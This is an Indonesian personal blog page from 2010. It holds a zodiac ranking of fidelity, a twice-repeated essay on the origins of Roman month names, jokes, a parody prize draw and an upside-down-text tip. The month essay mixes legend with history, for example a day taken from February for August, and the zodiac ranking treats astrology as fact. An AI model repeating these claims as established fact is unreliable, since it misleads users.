Online

Ya, , , , , , ,kami merupakan blog online, kami juga bergerak di bidang berita dan toko online, , , , , silakan kunjungi IKLAN KAMI, terima kasih

Kerja sama Tim

Kerja sama tim merupakan hal yang terpenting dalam kehidupan ini. Kami juga sering mengalami perbedaan pendapat dalam mengatur blog ini, tapi selalu ada jalan keluar yang kami temukan. Itu semua untuk memperbaiki kekurangan Blog kami.

Batu Permata

Ibarat Batu Pertama, kami ingin blog kami indah dan d gemari oleh semua kalangan.

Sexy Porn

Tak dapat dipungkiri, kami juga manusia biasa yag masih mempunyai nafsu. Tak jarang kami juga memposting hal-hal yang berbau S*x ataupun po*no

Kamis, 25 Februari 2010

Peringkat Selingkuh Berdasarkan Zodiak

Yang paling atas merupakan paling setia.


T A U R U S

21 April – 20 Mei
Peringkat 1 : Kesetiaannya luar biasa dan paling dapat diandalkan
Bagi beberapa zodiac tertentu, Taurus kadangkala dianggap pribadi yang agak membosankan dalam hubungan interaksi karena cenderung berkutat dalam hitungan “berhemat-hemat” atau paling tidak dianggap keras kepala

C A N C E R

21 Juni – 22 Juli
Peringkat 2 : Ratu Rumahan yang setia, selalu ingin merawat pasangannya.
Sensitivitas tinggi membuatnya sangat berhati-hati untuk tidak dilukai dan melukai. Cancer terkesan menutup rapat diri yang membuat beberapa zodiac tertentu menjadi tidak sabar karena makan waktu untuk berinteraksi dengannya.


V I R G O

23 Agustus – 22 September
Peringkat 3 : Sangat hati-hati memilih pasangan.
Ketemu satu saja sudah bikin “capek”, jadi boro-boro mau “main-mata” lagi.. Kerap lumayan rewel dan kritis yang menunjukkan betapa besar perhatiannya pada seseorang. Bagi beberapa zodiac tertentu, Virgo adalah tipe yang kerewelan dan kritiknya kadang bisa bikin orang lain tersinggung.


C A P R I C O R N

23 Desember – 20 Januari
Peringkat 4 : Pemikiran akan rencana-rencananya sangat menyita waktunya..
Cenderung berkutat seputar pemikiran akan rencana-rencananya. Bagi beberapa zodiac tertentu, Capricorn terkesan membatasi diri dalam hubungan interaksi dengan lainnya. Selingkuh hanya intermezzo kala jenuh.

A Q U A R I U S

21 Januari – 19 Februari
Peringkat 5 : Tidak suka selingkuh, tapi menghindari komitmen yang membutuhkan keterlibatan emosional yang dalam.
Aquarius cenderung berpikir dan bertindak tegas. Bagi beberapa zodiac tertentu, ia terkesan sangat radikal. Bila ia sampai selingkuh, berarti itu caranya yang “radikal” untuk mengakhiri hubungan dengan pasangan yang tidak mampu mengikuti pola pikirnya.

L I B R A

23 September – 22 Oktober
Peringkat 6 : Paling sukar menentukan pilihan dan mengalami kesulitan dalam mengungkapkan diri sendiri.
Karena kerap berpikiran mendua mengenai segala sesuatu, bagi beberapa zodiac tertentu, Libra kadang terkesan penuh rahasia dan cenderung sulit dipahami.

G E M I N I

21 Mei – 20 Juni
Peringkat 7 : Harus dimanja agar tidak selingkuh.
Selalu ingin dimanja dan diperhatikan oleh pasangannya. Bagi beberapa zodiac tertentu, Gemini adalah tipe yang gampang berubah-ubah.


S A G I T A R I U S

23 November – 22 Desember
Peringkat 8 : Gampang tergoda untuk selingkuh.
Karakter dasar yang ekspansif maka ia gampang tergoda untuk hal-hal yang “baru”, begitu pula dalam hubungan. Bagi beberapa zodiac tertentu, Sagitarius adalah tipe cemerlang yang penuh vitalitas hidup.

A R I E S

21 Maret – 20 April
Peringkat 9 : Perlu dipantau agar gairah kehangatannya tidak berlebihan.
Antusiasme dalam diri membuat gairahnya selalu berkobar untuk ber-”petualang” dalam segala hal. Bagi beberapa zodiac tertentu, Aries adalah tipe yang hangat dalam hubungan interaksi.

L E O

23 Juli – 22 Agustus
Peringkat 10 : Kesetiaannya diliputi ego yang tinggi.
Egonya yang tinggi membuat kesetiaannya sangat berpamrih, yaitu rela mengalah dalam banyak hal untuknya. Bagi beberapa zodiac tertentu, Leo adalah tipe yang “menawan”.

S C O R P I O

23 Oktober – 22 November
Peringkat 11 : Tak akan membiarkan setiap godaan lewat begitu saja.
Godaan bisa berarti perhatian baginya dan jarang diabaikannya. Scorpio senang menjadi populer sebagai si pecinta ulung. Bagi beberapa zodiac tertentu, Scorpio adalah tipe pecinta yang ekspresif.

P I S C E S

20 Februari – 20 Maret
Peringkat 12 : Si Peselingkuh yang mengaku setia.
Demikian romantis dia, perselingkuhan adalah nuansa indah dalam hidupnya.

by Aiyoko Putri
Selamat tahun baru 2010. Tahukah Anda bahwa di masa lalu tidak ada bulan Januari yang selalu kita sambut sebagai awal tahun baru? Bangsa Romawi merayakan tahun barunya pada tanggal 1 Maret! Bagaimana bisa begitu? Dan sejak kapan awal tahun baru berganti menjadi Januari? Wisata Kata di awal tahun ini membawa Anda menerawang ke masa lalu dan membuka kembali lembaran sejarah di balik nama-nama bulan.

Kalender Romawi pertama diperkirakan diperkenalkan pada tahun 738 SM oleh Romulus, pendiri Kerajaan Romawi yang legendaris. Satu tahun kalender kuno ini terdiri atas 304 hari yang dibagi menjadi 10 bulan. Setiap bulan merupakan kurun waktu dari satu bulan purnama ke bulan purnama berikutnya. Bangsa Romawi tampaknya mengabaikan atau tidak menghitung dua bulan pada musim dingin.

Tahun baru diawali dengan vernal equinox yang menandai musim semi. Vernal equinox adalah saat matahari berada di khatulistiwa, dan ini menyebabkan waktu siang hari sama panjangnya dengan waktu malam hari. Saat tersebut menurut kalender sekarang terjadi pada setiap tanggal 21 Maret. Maka, bulan pertama dalam tahun kalender Romulus ini jatuh pada bulan Maret yang kisahnya dituangkan di sini bersama kisah di balik nama bulan-bulan lainnya.

Kaisar Romawi yang kedua, Numa Pompilius (sekitar 715–673 SM) memutuskan untuk menambahkan dua bulan untuk mengisi dua bulan musim dingin yang tidak dihitung tersebut. Maka, muncullah bulan Januari dan Februari.
Perubahan Kalender.

Kalender yang lama ditentukan berdasarkan perhitungan bulan dan semakin dirasakan tidak cocok dengan masa pergantian musim. Untuk mengoreksinya, Julius Caesar, pada tahun 46 SM, mempekerjakan seorang ahli astronomi, Sosigenes, untuk meninjau kembali kalender tersebut. Sosigenes mengusulkan untuk menggunakan matahari, bukan bulan, sebagai dasar penetapan kalender. Dia juga mengusulkan adanya tahun kabisat, dan memindahkan awal tahun dari tanggal 1 Maret ke tanggal 1 Januari. Semua usul ini diterapkan pada kalender Julius yang dimulai pada tanggal 1 Januari 45 SM. Dengan adanya dua bulan tambahan yang mendahului awal kalender, maka bulan September, Oktober, November, dan Desember tidak lagi menjadi bulan ketujuh, kedelapan, kesembilan, dan kesepuluh sebagaimana yang disiratkan oleh asal-usul namanya. Meskipun demikian, nama keempat bulan itu tetap dipakai dan tidak pernah diubah.
Januari

Pada saat lonceng berdentang dua belas kali di malam tahun baru, yang menandai peralihan dari bulan Desember ke bulan Januari, kita mengucapkan selamat tinggal kepada tahun yang silam dan menyambut kedatangan tahun yang baru. Sungguh tepat bahwa bulan yang pertama ini disebut Januari –dewa bangsa Romawi, Janus, yang namanya digunakan untuk menamai bulan pertama ini, selalu ditampilkan berwajah dua; satu menghadap ke masa lalu dan satu lagi ke masa depan. Nama January masuk ke khazanah bahasa Inggris pada abad ke-14. Sebelumnya, bulan pertama ini disebut Wulf-Monath atau “bulan-serigala” karena pada awal tahun tersebut, musim salju yang dinginnya sangat menusuk tulang menyebabkan para serigala mendatangi permukiman manusia untuk mencari makan.
Februari

Riwayat nama bulan Februari sangat menarik. Pada setiap tanggal 15 pada bulan itu, berlangsung sebuah upacara keagamaan Romawi kuno dengan memukuli para wanita mandul. Peristiwa “pemurnian” ini disebut festival Lupercalia dan diselenggarakan di dalam gua di tepi Sungai Tiber. Dua orang pemuda remaja dipilih untuk memainkan peranan utama dalam upacara tersebut. Setelah beberapa ekor kambing dikorbankan, dari kulit hewan tersebut dibuat alat sejenis pecut. Pecut ini dinamakan februa atau “alat pemurnian”, dan kalau dipukulkan kepada wanita mandul, kemandulannya diyakini akan sirna. Kedua remaja pilihan tadi berlari-lari mengelilingi kota sambil membawa pecut masing-masing, lalu memukuli semua wanita mandul yang mereka jumpai. Entah bagaimana mereka mengetahui siapa wanita yang mandul, atau mungkin juga wanita mandul sudah menjadi rahasia umum seisi kampung.

Kesaktian pecut tersebut dalam menyembuhkan kemandulan mungkin berasal dari Juno, dewi kesuburan yang sering disebut Februaria, dan dari nama sang dewilah kita memperoleh nama bulan kedua ini. Pada mulanya, Februari memiliki 29 hari, tetapi Senat Romawi mengambil satu hari untuk diberikan kepada bulan Agustus agar Agustus tidak merasa kalah oleh bulan Juli.
Maret

Seperti telah dikemukakan, bulan ketiga dalam kalender modern kita memegang peranan penting dalam penentuan awal tahun. Sebelum masa pemerintahan Julius Caesar, tahun baru Romawi diawali pada bulan Maret. Bulan ini bukan saja mengawali tahun baru, tetapi merupakan awal musim perang. Nama bulan ini berasal dari kata Prancis Lama, melalui bahasa Latin Martius, yang secara harfiah berarti “bulan Mars, sang dewa perang”.

April

Pada bulan inilah musim semi dimulai, dan bunga-bunga mulai bermekaran atau terbuka kuncupnya. Cendekiawan Romawi bernama Varro (116–27 SM) menyebut bulan ini Aprilis, diambil dari kata Latin aperio yang berarti “terbuka”. Menurut kamus Ayto, nama bulan ini berasal dari kata Yunani Aphro, kependekan dari Aphrodite , nama dewi Yunani yang melambangkan cinta.
Mei

Pada bulan inilah konon “burung berkicau merdu dan suara kura-kura bersahut-sahutan”. Sir Thomas Malory (1400–1471), penulis berkebangsaan Inggris, menyebut bulan ini “bulan penuh nafsu”. Anehnya, bulan Mei yang romantis ini justru dianggap bulan sial untuk menikah. Bangsa Romawi menolak pernikahan bulan Mei karena pada bulan inilah berlangsung festival untuk menghormati Bona Dea , dewi yang tidak pernah berhubungan intim atau bersanggama. Festival bagi kematian yang tidak menyenangkan juga berlangsung pada bulan Mei. Kata Mei berasal dari kata Latin, Maius, yang diperkirakan berasal dari kata Maia, ibunda dewa Hermes, dewa yang dikaitkan dengan perdagangan, penciptaan, dan kelicikan. Tetapi, menurut kamus Webster, Maia adalah ibu Merkurius yang berayah Jupiter.
Juni

Nama bulan ini mungkin berasal dari Junius, nama keluarga Latin yang membunuh Julius Caesar. Sejumlah cendekiawan yakin bahwa nama Juni berasal dari nama Juno, dewi pelindung kaum wanita, karena sejak awal zaman Romawi bulan ini merupakan bulan yang paling disukai untuk pernikahan. Dewi Juno adalah saudara perempuan dan juga istri Jupiter.
Juli

Nama bulan ini diusulkan oleh Mark Antony, jenderal bangsa Romawi dan kekasih Cleopatra. Semula bulan ini disebut Quintilis yang berasal dari kata sifat quintus yang secara harfiah berarti “kelima”; bulan ini memang bulan kelima bila Maret dianggap bulan pertama. Pada tahun 44 SM, Antony mengusulkan agar bulan kelahiran Caius Julius Caesar ini dinamakan Julius sebagai penghormatan kepada sang Caesar. Ironisnya, pada saat nama tersebut mulai digunakan, pada tahun itu pulalah (44 SM) Julius Caesar terbunuh. Dalam bahasa Inggris, nama bulan ini mula-mula Julie, kemudian berubah menjadi July. Orang Malaysia menyebutnya bulan Julai.
Agustus

Octavian, salah seorang kaisar Romawi (63 SM–14), adalah keponakan Julius Caesar. Dia mendambakan memiliki kemasyhuran dan kekuasaan seperti pamannya. Antara lain, dia menginginkan ada nama bulan yang didasarkan atas namanya sendiri. Hari ulang tahunnya jatuh pada bulan September, tetapi dia memilih bulan Agustus untuk menyandang namanya karena bulan ini banyak membawa keberuntungan baginya. Senat menganugerahkan gelar kebangsawanan Augustus kepadanya pada tahun 27 SM sebagai pengakuan atas jasa-jasanya bagi negara. Maka, sejak tahun 8 SM, bulan pilihan Kaisar Octavian ini dinamakan Augustus; yang dalam bahasa Indonesia disebut Agustus, dan dalam bahasa Malaysia disebut … Ogos!
September

Karena awal tahun bangsa Romawi mula-mula jatuh pada bulan Maret, maka September adalah bulan yang ketujuh. Nama September diambil dari kata Latin septem yang berarti “tujuh”. Ketika kalender berubah dan September menjadi bulan kesembilan, namanya tidak berubah.
Oktober

Pada musim inilah asap dedaunan yang terbakar memenuhi udara. Bahkan penyair Romawi, Martial, menyebut Oktober sebagai “fumosus” atau “berasap” karena masa pembakaran daun sudah tiba. Nama Oktober itu sendiri berasal dari kata Latin octo yang berarti “delapan” karena bulan ini adalah bulan kedelapan sebelum awal kalender diubah.
November

Karena Kaisar Augustus dan Julius Caesar masing-masing sudah memiliki bulan sendiri-sendiri, kaum politikus Romawi yang sangat mengagungkan kesopanan berpendapat sudah sewajarnya jika bulan November diganti namanya sesuai dengan nama Kaisar Tiberius. Tetapi, Tiberius menolaknya dan berkomentar dengan nada bercanda: “Bagaimana kalau kaisarnya ada sebelas?” Maksudnya tentulah bahwa kaisar yang ke-11 itu tidak akan kebagian bulan untuk dinamai sesuai dengan namanya. Maka, nama bulan ini pun tetap disebut November, dari kata Latin novem yang berarti “sembilan”.
Desember

Lucius Aelius Aurelius Commodus, Kaisar Romawi menjelang akhir abad kedua, bertanya kepada gundiknya, apakah dia ingin namanya diabadikan dalam kalender. Sang kaisar menginginkan nama Amazonius karena kekasihnya itu pernah dilukis sebagai Amazon. Tetapi, Senat rupanya tidak setuju dan meminta sang kaisar untuk menonton pertarungan antara para gladiator saja sehingga ia lupa akan niatnya tersebut. Maka, bulan terakhir itu tetap dinamai Desember, dari kata Latin decem yang berarti “sepuluh” karena bulan ini adalah bulan kesepuluh dalam kalender yang belum diubah.
Penutup

Dari berbagai kamus yang saya gunakan sebagai acuan, riwayat nama bulan memang bermiripan dan saling melengkapi. Yang sering membingungkan adalah tahun yang tercantum sebagai masa pemerintahan para kaisar Romawi. Selain itu, “identitas” para dewa pun simpang siur. Namun, semua kisah dalam tulisan ini memang bukan dimaksudkan untuk diperiksa satu per satu kebenarannya bukan? Sampai di sini dahulu, pembaca. Insya Allah kita jumpa lagi nanti.

Ditulis oleh Sofia Mansoor. Dimuat pertama kali untuk Berita Buku, Januari 1997. Sumber: Funk, Word Origins; Webster’s Word Histories; Ayto, Dictionary of Word Origins; dan berbagai kamus.


Rabu, 24 Februari 2010

Masalah Umur

Suatu ketika di sebuah sekolahan, tepatnya salah satu ruang kelas, yaitu kelas 3 SD. Guru menanyakan umur masing-masing muridnya untuk lebih memahami pelajaran Matematika khususnya penjumlahan, dengan salah satu murid terjadi dialog berikut :

Guru : "Terakhir kamu ulang tahun pada umur berapa?"
Murid : "Tujuh tahun."
Guru : "Besok ulang tahun berikut kamu umur berapa?"
Murid : "Sembilan tahun."
Guru : "Mana mungkin? Kamu ngaco ah!"
Murid : "Enggak bu, soalnya hari ini saya genap berusia 8 tahun."

by : -Amaq Albarok Fauzi


Selasa, 23 Februari 2010

Kasus Seorang Pasien Perempuan

Suatu hari di sebuah rumah sakit, seorang cewek cantik berbaring di kereta dorong. Sebentar lagi ia akan dioperasi usus buntu. Cewek cantik itu sudah tidak berpakaian apa-apa, namun sehelai kain putih menutupi bagian atasnya.

Tidak lama berselang, seorang suster mendorong kereta tersebut untuk menuju ruang operasi. Kereta itu melalui lorong-lorong rumah sakit yang kebetulan saat itu lagi sepi. Jadi beruntunglah si cewek, karena kalau banyak orang, kan bisa malu...

Sesampai di depan kamar operasi, si suster menepikan kereta dorong, kemudian masuk ke dalam untuk mencek apakah peralatan operasi di dalam sudah siap. Selama suster ini mencek, si cewek ditinggal sendirian dengan hanya ditutupi sehelai kain putih.

Datang seorang pria berpakaian putih melintasi si cewek. Ia membuka kain putih tersebut, melihat -lihat sebentar lalu pergi lagi. Di kejauhan tampak pria tersebut berbicara kepada yang lainnya.

Pria yang tadi berbicara dengan pria pertama kemudian menghapiri si cewek, membuka kain putih yang menutupi si cewek, melihat-lihat sebentar, lalu pergi lagi.

Pria ketiga datang mendekati si cewek.

Si cewek yang mulai tidak sabar berkata : "Dok... saya rasa sudah cukup pemeriksaaannya... Kapan saya mulai dioperasi?"

Pria ketiga tampak bingung lalu menjawab : "Wah Non, saya tidak tahu... di sini kami hanya ditugaskan mencat lorong rumah sakit ini."

by : -Amaq Albarok Fauzi


Senin, 22 Februari 2010

Kecil, Ijo, kalau disentuh meledak?

Jawabannya adalah Ulet bulu bawa bom.

ha....ha.........ha..................


Kenapa Semut dan Gajah Tidak Pernah Akur?

Jawabnya adalah Karena keduanya tidak pernah bisa berpelukan.

ha...........ha..............ha............!!!!


Undian Berhadiah Menarik.

Pengumunman Undian Berhadiah Menarik

Kami dari perusahaan PT. MOBIL DEREK akan mengadakan pengundian dengan hadiah yang sangat menarik. Anda dapat memili hadiah-hadiah yang sudah kami sediakan dengan cara ketik MENARIK(spasi)JENIS HADIAH, kirim ke 08532 7054567890.
Hadiah yang kami sediakan antara lain :


  • Menarik Mobil BMW
  • Menarik Mobil Kijang serie 7
  • Menarik Truk
  • Menarik Becak
  • dan masih banyak hadiah menarik lainnya. Untuk Hadiah lainnya silakan hubungi call center 000008.

Pengumuman pemenang akan dilakukan pada saat Hari Kiamat.

Buruan stok terbatas........!!!!!!!!!!


Minggu, 21 Februari 2010

Minuman Berdosa atau Bersoda ???

Hayo yang bener "Minuman Berdosa atau Bersoda" ????
Yang nulis siapa sih ???
Yang salah siapa yaa ??


Selasa, 09 Februari 2010

Cara Mbuat Tulisan Kebalik

ʞıןɐqǝʞ uɐsıןnʇ ʇɐnqɯ ɐɹɐɔ

Bagaimana sih cara bikin tulisan kebalik ? Mudah aja! Kamu bisa kok nulisnya sambil jungkir balik....ha...ha...ha....Gak ko cuma becanda aja kok.....Untuk itu ku kan njelasin cara mbuat tulisan kebalik itu. Tulisan kerbalik ni juga bisa di pakai di facebook, blog atau sebagainya. Tulisan terbalik ? Penasaran ? Mau ? hanya di sini…….langsung sja ke TKP
Untuk mbuat tulisan terbalik caranya begini :
1. Buka situs berikut dengan cara klik Disini
2. Buatlah suatu tulisan yang ingin anda buat terbalik. Nanti secara otomatis tulisan terbalik tersebut akan muncul di bawah tulisan yang anda ketik.
3. Copy tulisan terbalik tersebut. Paste-kan di facebook anda atau di blog anda.
4. Gitu…..oke???
 ----------------------------------------------------------------------------------------------------------
¿¿¿ǝʞo˙˙…nʇıƃ ˙4
˙ɐpuɐ ƃoןq ıp nɐʇɐ ɐpuɐ ʞooqǝɔɐɟ ıp uɐʞ-ǝʇsɐd ˙ʇnqǝsɹǝʇ ʞıןɐqɹǝʇ uɐsıןnʇ ʎdoɔ ˙3
˙ʞıʇǝʞ ɐpuɐ ƃuɐʎ uɐsıןnʇ ɥɐʍɐq ıp ןnɔunɯ uɐʞɐ ʇnqǝsɹǝʇ ʞıןɐqɹǝʇ uɐsıןnʇ sıʇɐɯoʇo ɐɹɐɔǝs ıʇuɐu ˙ʞıןɐqɹǝʇ ʇɐnq ɐpuɐ uıƃuı ƃuɐʎ uɐsıןnʇ nʇɐns ɥɐןʇɐnq ˙2
ıuısıp ʞıןʞ ɐɹɐɔ uɐƃuǝp ʇnʞıɹǝq snʇıs ɐʞnq ˙1

: ıuıƃǝq ɐʎuɐɹɐɔ ʞıןɐqɹǝʇ uɐsıןnʇ ʇɐnqɯ ʞnʇun
dʞʇ ǝʞ ɐɾs ƃunsƃuɐן˙……ıuıs ıp ɐʎuɐɥ ¿ nɐɯ ¿ uɐɹɐsɐuǝd ¿ ʞıןɐqɹǝʇ uɐsıןnʇ ˙ɐʎuıɐƃɐqǝs nɐʇɐ ƃoןq 'ʞooqǝɔɐɟ ıp ıɐʞɐd ıp ɐsıq ɐƃnɾ ıu ʞıןɐqɹǝʞ uɐsıןnʇ ˙nʇı ʞıןɐqǝʞ uɐsıןnʇ ʇɐnqɯ ɐɹɐɔ uısɐןǝɾu uɐʞ nʞ nʇı ʞnʇun˙˙˙˙˙ʞoʞ ɐɾɐ ɐpuɐɔǝq ɐɯnɔ oʞ ʞɐƃ˙˙˙˙ɐɥ˙˙˙ɐɥ˙˙˙ɐɥ˙˙˙˙ʞıןɐq ɹıʞƃunɾ ןıqɯɐs ɐʎusıןnu ʞoʞ ɐsıq nɯɐʞ ¡ɐɾɐ ɥɐpnɯ ¿ ʞıןɐqǝʞ uɐsıןnʇ uıʞıq ɐɹɐɔ ɥıs ɐuɐɯıɐƃɐq
ʞıןɐqǝʞ uɐsıןnʇ ʇɐnqɯ ɐɹɐɔSelamat tahun baru 2010. Tahukah Anda bahwa di masa lalu tidak ada bulan Januari yang selalu kita sambut sebagai awal tahun baru? Bangsa Romawi merayakan tahun barunya pada tanggal 1 Maret! Bagaimana bisa begitu? Dan sejak kapan awal tahun baru berganti menjadi Januari? Wisata Kata di awal tahun ini membawa Anda menerawang ke masa lalu dan membuka kembali lembaran sejarah di balik nama-nama bulan.

Kalender Romawi pertama diperkirakan diperkenalkan pada tahun 738 SM oleh Romulus, pendiri Kerajaan Romawi yang legendaris. Satu tahun kalender kuno ini terdiri atas 304 hari yang dibagi menjadi 10 bulan. Setiap bulan merupakan kurun waktu dari satu bulan purnama ke bulan purnama berikutnya. Bangsa Romawi tampaknya mengabaikan atau tidak menghitung dua bulan pada musim dingin.

Tahun baru diawali dengan vernal equinox yang menandai musim semi. Vernal equinox adalah saat matahari berada di khatulistiwa, dan ini menyebabkan waktu siang hari sama panjangnya dengan waktu malam hari. Saat tersebut menurut kalender sekarang terjadi pada setiap tanggal 21 Maret. Maka, bulan pertama dalam tahun kalender Romulus ini jatuh pada bulan Maret yang kisahnya dituangkan di sini bersama kisah di balik nama bulan-bulan lainnya.

Kaisar Romawi yang kedua, Numa Pompilius (sekitar 715–673 SM) memutuskan untuk menambahkan dua bulan untuk mengisi dua bulan musim dingin yang tidak dihitung tersebut. Maka, muncullah bulan Januari dan Februari.
Perubahan Kalender.

Kalender yang lama ditentukan berdasarkan perhitungan bulan dan semakin dirasakan tidak cocok dengan masa pergantian musim. Untuk mengoreksinya, Julius Caesar, pada tahun 46 SM, mempekerjakan seorang ahli astronomi, Sosigenes, untuk meninjau kembali kalender tersebut. Sosigenes mengusulkan untuk menggunakan matahari, bukan bulan, sebagai dasar penetapan kalender. Dia juga mengusulkan adanya tahun kabisat, dan memindahkan awal tahun dari tanggal 1 Maret ke tanggal 1 Januari. Semua usul ini diterapkan pada kalender Julius yang dimulai pada tanggal 1 Januari 45 SM. Dengan adanya dua bulan tambahan yang mendahului awal kalender, maka bulan September, Oktober, November, dan Desember tidak lagi menjadi bulan ketujuh, kedelapan, kesembilan, dan kesepuluh sebagaimana yang disiratkan oleh asal-usul namanya. Meskipun demikian, nama keempat bulan itu tetap dipakai dan tidak pernah diubah.
Januari

Pada saat lonceng berdentang dua belas kali di malam tahun baru, yang menandai peralihan dari bulan Desember ke bulan Januari, kita mengucapkan selamat tinggal kepada tahun yang silam dan menyambut kedatangan tahun yang baru. Sungguh tepat bahwa bulan yang pertama ini disebut Januari –dewa bangsa Romawi, Janus, yang namanya digunakan untuk menamai bulan pertama ini, selalu ditampilkan berwajah dua; satu menghadap ke masa lalu dan satu lagi ke masa depan. Nama January masuk ke khazanah bahasa Inggris pada abad ke-14. Sebelumnya, bulan pertama ini disebut Wulf-Monath atau “bulan-serigala” karena pada awal tahun tersebut, musim salju yang dinginnya sangat menusuk tulang menyebabkan para serigala mendatangi permukiman manusia untuk mencari makan.
Februari

Riwayat nama bulan Februari sangat menarik. Pada setiap tanggal 15 pada bulan itu, berlangsung sebuah upacara keagamaan Romawi kuno dengan memukuli para wanita mandul. Peristiwa “pemurnian” ini disebut festival Lupercalia dan diselenggarakan di dalam gua di tepi Sungai Tiber. Dua orang pemuda remaja dipilih untuk memainkan peranan utama dalam upacara tersebut. Setelah beberapa ekor kambing dikorbankan, dari kulit hewan tersebut dibuat alat sejenis pecut. Pecut ini dinamakan februa atau “alat pemurnian”, dan kalau dipukulkan kepada wanita mandul, kemandulannya diyakini akan sirna. Kedua remaja pilihan tadi berlari-lari mengelilingi kota sambil membawa pecut masing-masing, lalu memukuli semua wanita mandul yang mereka jumpai. Entah bagaimana mereka mengetahui siapa wanita yang mandul, atau mungkin juga wanita mandul sudah menjadi rahasia umum seisi kampung.

Kesaktian pecut tersebut dalam menyembuhkan kemandulan mungkin berasal dari Juno, dewi kesuburan yang sering disebut Februaria, dan dari nama sang dewilah kita memperoleh nama bulan kedua ini. Pada mulanya, Februari memiliki 29 hari, tetapi Senat Romawi mengambil satu hari untuk diberikan kepada bulan Agustus agar Agustus tidak merasa kalah oleh bulan Juli.
Maret

Seperti telah dikemukakan, bulan ketiga dalam kalender modern kita memegang peranan penting dalam penentuan awal tahun. Sebelum masa pemerintahan Julius Caesar, tahun baru Romawi diawali pada bulan Maret. Bulan ini bukan saja mengawali tahun baru, tetapi merupakan awal musim perang. Nama bulan ini berasal dari kata Prancis Lama, melalui bahasa Latin Martius, yang secara harfiah berarti “bulan Mars, sang dewa perang”.

April

Pada bulan inilah musim semi dimulai, dan bunga-bunga mulai bermekaran atau terbuka kuncupnya. Cendekiawan Romawi bernama Varro (116–27 SM) menyebut bulan ini Aprilis, diambil dari kata Latin aperio yang berarti “terbuka”. Menurut kamus Ayto, nama bulan ini berasal dari kata Yunani Aphro, kependekan dari Aphrodite , nama dewi Yunani yang melambangkan cinta.
Mei

Pada bulan inilah konon “burung berkicau merdu dan suara kura-kura bersahut-sahutan”. Sir Thomas Malory (1400–1471), penulis berkebangsaan Inggris, menyebut bulan ini “bulan penuh nafsu”. Anehnya, bulan Mei yang romantis ini justru dianggap bulan sial untuk menikah. Bangsa Romawi menolak pernikahan bulan Mei karena pada bulan inilah berlangsung festival untuk menghormati Bona Dea , dewi yang tidak pernah berhubungan intim atau bersanggama. Festival bagi kematian yang tidak menyenangkan juga berlangsung pada bulan Mei. Kata Mei berasal dari kata Latin, Maius, yang diperkirakan berasal dari kata Maia, ibunda dewa Hermes, dewa yang dikaitkan dengan perdagangan, penciptaan, dan kelicikan. Tetapi, menurut kamus Webster, Maia adalah ibu Merkurius yang berayah Jupiter.
Juni

Nama bulan ini mungkin berasal dari Junius, nama keluarga Latin yang membunuh Julius Caesar. Sejumlah cendekiawan yakin bahwa nama Juni berasal dari nama Juno, dewi pelindung kaum wanita, karena sejak awal zaman Romawi bulan ini merupakan bulan yang paling disukai untuk pernikahan. Dewi Juno adalah saudara perempuan dan juga istri Jupiter.
Juli

Nama bulan ini diusulkan oleh Mark Antony, jenderal bangsa Romawi dan kekasih Cleopatra. Semula bulan ini disebut Quintilis yang berasal dari kata sifat quintus yang secara harfiah berarti “kelima”; bulan ini memang bulan kelima bila Maret dianggap bulan pertama. Pada tahun 44 SM, Antony mengusulkan agar bulan kelahiran Caius Julius Caesar ini dinamakan Julius sebagai penghormatan kepada sang Caesar. Ironisnya, pada saat nama tersebut mulai digunakan, pada tahun itu pulalah (44 SM) Julius Caesar terbunuh. Dalam bahasa Inggris, nama bulan ini mula-mula Julie, kemudian berubah menjadi July. Orang Malaysia menyebutnya bulan Julai.
Agustus

Octavian, salah seorang kaisar Romawi (63 SM–14), adalah keponakan Julius Caesar. Dia mendambakan memiliki kemasyhuran dan kekuasaan seperti pamannya. Antara lain, dia menginginkan ada nama bulan yang didasarkan atas namanya sendiri. Hari ulang tahunnya jatuh pada bulan September, tetapi dia memilih bulan Agustus untuk menyandang namanya karena bulan ini banyak membawa keberuntungan baginya. Senat menganugerahkan gelar kebangsawanan Augustus kepadanya pada tahun 27 SM sebagai pengakuan atas jasa-jasanya bagi negara. Maka, sejak tahun 8 SM, bulan pilihan Kaisar Octavian ini dinamakan Augustus; yang dalam bahasa Indonesia disebut Agustus, dan dalam bahasa Malaysia disebut … Ogos!
September

Karena awal tahun bangsa Romawi mula-mula jatuh pada bulan Maret, maka September adalah bulan yang ketujuh. Nama September diambil dari kata Latin septem yang berarti “tujuh”. Ketika kalender berubah dan September menjadi bulan kesembilan, namanya tidak berubah.
Oktober

Pada musim inilah asap dedaunan yang terbakar memenuhi udara. Bahkan penyair Romawi, Martial, menyebut Oktober sebagai “fumosus” atau “berasap” karena masa pembakaran daun sudah tiba. Nama Oktober itu sendiri berasal dari kata Latin octo yang berarti “delapan” karena bulan ini adalah bulan kedelapan sebelum awal kalender diubah.
November

Karena Kaisar Augustus dan Julius Caesar masing-masing sudah memiliki bulan sendiri-sendiri, kaum politikus Romawi yang sangat mengagungkan kesopanan berpendapat sudah sewajarnya jika bulan November diganti namanya sesuai dengan nama Kaisar Tiberius. Tetapi, Tiberius menolaknya dan berkomentar dengan nada bercanda: “Bagaimana kalau kaisarnya ada sebelas?” Maksudnya tentulah bahwa kaisar yang ke-11 itu tidak akan kebagian bulan untuk dinamai sesuai dengan namanya. Maka, nama bulan ini pun tetap disebut November, dari kata Latin novem yang berarti “sembilan”.
Desember

Lucius Aelius Aurelius Commodus, Kaisar Romawi menjelang akhir abad kedua, bertanya kepada gundiknya, apakah dia ingin namanya diabadikan dalam kalender. Sang kaisar menginginkan nama Amazonius karena kekasihnya itu pernah dilukis sebagai Amazon. Tetapi, Senat rupanya tidak setuju dan meminta sang kaisar untuk menonton pertarungan antara para gladiator saja sehingga ia lupa akan niatnya tersebut. Maka, bulan terakhir itu tetap dinamai Desember, dari kata Latin decem yang berarti “sepuluh” karena bulan ini adalah bulan kesepuluh dalam kalender yang belum diubah.
Penutup

Dari berbagai kamus yang saya gunakan sebagai acuan, riwayat nama bulan memang bermiripan dan saling melengkapi. Yang sering membingungkan adalah tahun yang tercantum sebagai masa pemerintahan para kaisar Romawi. Selain itu, “identitas” para dewa pun simpang siur. Namun, semua kisah dalam tulisan ini memang bukan dimaksudkan untuk diperiksa satu per satu kebenarannya bukan? Sampai di sini dahulu, pembaca. Insya Allah kita jumpa lagi nanti.

Ditulis oleh Sofia Mansoor. Dimuat pertama kali untuk Berita Buku, Januari 1997. Sumber: Funk, Word Origins; Webster’s Word Histories; Ayto, Dictionary of Word Origins; dan berbagai kamus.



Senin, 08 Februari 2010

Yunani dalam Berita (Humor)


Setelah dilakukan penelitian oleh sejarawan selama
berabad-abad tentang Yunani,
